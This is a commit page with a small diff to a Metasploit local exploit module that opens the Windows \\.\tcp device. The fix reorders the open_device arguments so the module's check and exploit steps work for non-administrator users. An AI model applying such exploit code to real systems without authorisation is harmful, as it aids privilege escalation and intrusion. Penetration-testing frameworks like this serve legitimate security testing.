Fixed open device issue for non-priv users

Fixed the open_device call to work for users without Administrator
privileges
bug/bundler_fix
Jay Smith 2015-02-18 12:44:58 -05:00
parent a9931cd410
commit e40772efe2
No known key found for this signature in database
GPG Key ID: A10634475C298DBB
1 changed files with 2 additions and 2 deletions

View File

@ -68,7 +68,7 @@ class Metasploit3 < Msf::Exploit::Local
return Exploit::CheckCode::Safe
end
handle = open_device('\\\\.\\tcp', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
handle = open_device('\\\\.\\tcp', 0, 'FILE_SHARE_READ', 'OPEN_EXISTING')
return Exploit::CheckCode::Safe unless handle
session.railgun.kernel32.CloseHandle(handle)
@ -103,7 +103,7 @@ class Metasploit3 < Msf::Exploit::Local
fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system")
end
handle = open_device('\\\\.\\tcp', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
handle = open_device('\\\\.\\tcp', 0, 'FILE_SHARE_READ', 'OPEN_EXISTING')
if handle.nil?
fail_with(Failure::NoTarget, "Unable to open \\\\.\\tcp device")
end